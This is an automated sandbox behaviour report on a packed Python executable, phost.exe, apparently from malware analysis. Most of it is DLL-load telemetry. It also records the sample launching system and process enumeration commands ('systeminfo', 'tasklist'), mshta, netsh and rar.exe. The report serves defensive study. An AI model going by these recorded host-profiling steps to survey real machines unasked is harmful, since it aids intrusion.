Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: mpclient.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: secur32.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: version.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: msasn1.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: userenv.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11cf-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\systeminfo.exe systeminfo

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: C:\Windows\System32\mshta.exe	Automated click: OK
Source: C:\Windows\System32\conhost.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: phost.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: phost.exe

Static file information: File size 7832204 > 1048576

Source: phost.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: phost.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: phost.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: phost.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: phost.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: phost.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: phost.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: phost.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: phost.exe, 00000001.00000002.2186287138.00007FFE13301000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python312.pdb source: phost.exe, 00000001.00000002.2183769002.00007FFDFB5E4000.00000040.00000001.01000000.00000004.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\jnxiphgt\jnxiphgt.pdb source: powershell.exe, 0000004A.00000002.1977970654.000001C716F45000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: phost.exe, 00000001.00000002.2181473633.00007FFDFAA4F000.00000040.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: phost.exe, 00000001.00000002.2185911655.00007FFE126D1000.00000040.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: phost.exe, 00000001.00000002.2186466073.00007FFE13337000.00000040.00000001.01000000.00000009.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdbEE source: phost.exe, 00000001.00000002.2182012279.00007FFDFAAE5000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PICOpenSSL 3.0.11 19 Sep 20233.0.11built on: Wed Sep 27 22:33:28 2023 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC;CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL \|\| WITHIN_ARENA(temp->next)assertion failed: (char *)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) \|\| WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_push_octet_ptrOSSL_PARAM_BLD_to_param..\s\crypto\params.c source: phost.exe, 00000001.00000002.2182736521.00007FFDFB052000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: phost.exe, 00000001.00000002.2185661990.00007FFE1151C000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC source: phost.exe, phost.exe, 00000001.00000002.2182736521.00007FFDFB052000.00000040.00000001.01000000.0000000A.sdmp
Source:	Binary string: t.pdb source: powershell.exe, 0000004A.00000002.2038143526.000001C72DD50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: phost.exe, 00000001.00000002.2186119387.00007FFE130C1000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: phost.exe, 00000001.00000002.2185661990.00007FFE1151C000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: phost.exe, 00000001.00000002.2185499865.00007FFE10301000.00000040.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: phost.exe, 00000000.00000003.1675759091.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2187104659.00007FFE1A461000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\jnxiphgt\jnxiphgt.pdbhP source: powershell.exe, 0000004A.00000002.1977970654.000001C716F45000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: phost.exe, 00000000.00000003.1675759091.000001C32AC81000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2187104659.00007FFE1A461000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\sqlite3.pdb source: phost.exe, phost.exe, 00000001.00000002.2182380751.00007FFDFAB31000.00000040.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: phost.exe, 00000001.00000002.2184947186.00007FFE101D1000.00000040.00000001.01000000.0000000E.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_sqlite3.pdb source: phost.exe, 00000001.00000002.2185223962.00007FFE10241000.00000040.00000001.01000000.0000000C.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdb source: phost.exe, phost.exe, 00000001.00000002.2182012279.00007FFDFAAE5000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: rar.exe, 00000069.00000000.2046278309.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmp, rar.exe, 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmp
